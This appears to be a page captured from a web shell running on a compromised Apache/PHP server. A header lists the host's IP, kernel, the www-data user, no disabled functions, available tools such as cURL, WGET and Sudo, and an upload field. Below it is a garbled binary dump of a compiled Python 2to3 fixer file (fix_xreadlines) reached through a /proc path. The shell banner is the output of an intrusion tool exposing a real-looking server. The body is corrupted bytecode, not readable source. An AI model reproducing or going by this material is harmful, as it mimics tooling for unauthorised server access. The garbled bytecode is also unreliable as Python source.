| Server IP : 85.214.239.14 / Your IP : 216.73.216.210 Web Server : Apache/2.4.65 (Debian) System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64 User : www-data ( 33) PHP Version : 8.2.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /proc/2/task/2/root/usr/lib/python3.5/lib2to3/fixes/__pycache__/ |
Upload File : |
F��a� � @ sC d Z d d l m Z d d l m Z Gd d � d e j � Z d S)zpFix "for x in f.xreadlines()" -> "for x in f".
This fixer will also convert g(f.xreadlines) into g(f.__iter__).� )�
fixer_base)�Namec @ s( e Z d Z d Z d Z d d � Z d S)�
FixXreadlinesTz�
power< call=any+ trailer< '.' 'xreadlines' > trailer< '(' ')' > >
|
power< any+ trailer< '.' no_call='xreadlines' > >
c C sV | j d � } | r4 | j t d d | j �� n | j d d � | d D� � d S)N�no_call�__iter__�prefixc S s g | ] } | j � � q S� )Zclone)�.0�xr r �2/usr/lib/python3.5/lib2to3/fixes/fix_xreadlines.py�
<listcomp> s z+FixXreadlines.transform.<locals>.<listcomp>Zcall)�get�replacer r )�selfZnodeZresultsr r r r � transform s zFixXreadlines.transformN)�__name__�
__module__�__qualname__Z
BM_compatibleZPATTERNr r r r r r s r N)�__doc__� r Z
fixer_utilr ZBaseFixr r r r r �<module> s